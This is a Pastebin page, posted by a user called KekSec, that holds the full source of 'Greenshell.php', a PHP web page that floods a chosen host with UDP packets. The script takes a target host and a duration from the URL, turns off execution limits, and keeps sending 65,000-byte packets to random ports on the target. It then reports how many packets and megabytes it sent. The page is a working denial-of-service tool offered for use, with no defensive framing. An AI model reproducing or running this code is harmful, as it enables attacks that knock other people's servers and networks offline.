Advertisement
KekSec

Greenshell.php source

Dec 27th, 2017
668
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.73 KB | None | 0 0
  1. <html>
  2. <body>
  3. <title>
  4. UDP Flood</title>
  5. <font color="00FF00">
  6.  
  7. <center>
  8. <STYLE>
  9. input{
  10. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  11. }
  12. button{
  13. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  14. }
  15. body {
  16. background-color: black;
  17. }
  18. </style>
  19. </br>
  20. </br>
  21. </br>
  22. </br>
  23. </br>
  24. <?php
  25. //UDP
  26. if(isset($_GET['host'])&&isset($_GET['time'])){
  27.     $packets = 0;
  28.     ignore_user_abort(TRUE);
  29.     set_time_limit(0);
  30.  
  31.     $exec_time = $_GET['time'];
  32.  
  33.     $time = time();
  34.     //print "Started: ".time('d-m-y h:i:s')."<br>";
  35.     $max_time = $time+$exec_time;
  36.  
  37.     $host = $_GET['host'];
  38.  
  39.     for($i=0;$i<65000;$i++){
  40.     $out .= "\xFF";
  41.     }
  42.     while(1){
  43.     $packets++;
  44.     if(time() > $max_time){
  45.   break;
  46.     }
  47.     $rand = rand(1,65000);
  48.     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  49.     if($fp){
  50.   fwrite($fp, $out);
  51.   fclose($fp);
  52.     }
  53.     }
  54.     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  55.     echo '<br><br>
  56.  <form action="'.$surl.'" method=GET>
  57.  <input type="hidden" name="act" value="phptools">
  58.  Host: <br><input type=text name=host><br>
  59.  Length (seconds): <br><input type=text name=time><br>
  60.  <input type=submit value=Go></form>';
  61. }else{ echo '<br><b>UDP Flood</b><br>
  62.    <form action=? method=GET>
  63.    <input type="hidden" name="act" value="phptools">
  64.    Host: <br><input type=text name=host value=><br>
  65.    Length (seconds): <br><input type=text name=time value=><br><br>
  66.    <input type=submit value=Go></form>';
  67. }
  68. ?>
  69.  
  70. </center>
  71. </body>
  72.  
  73. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement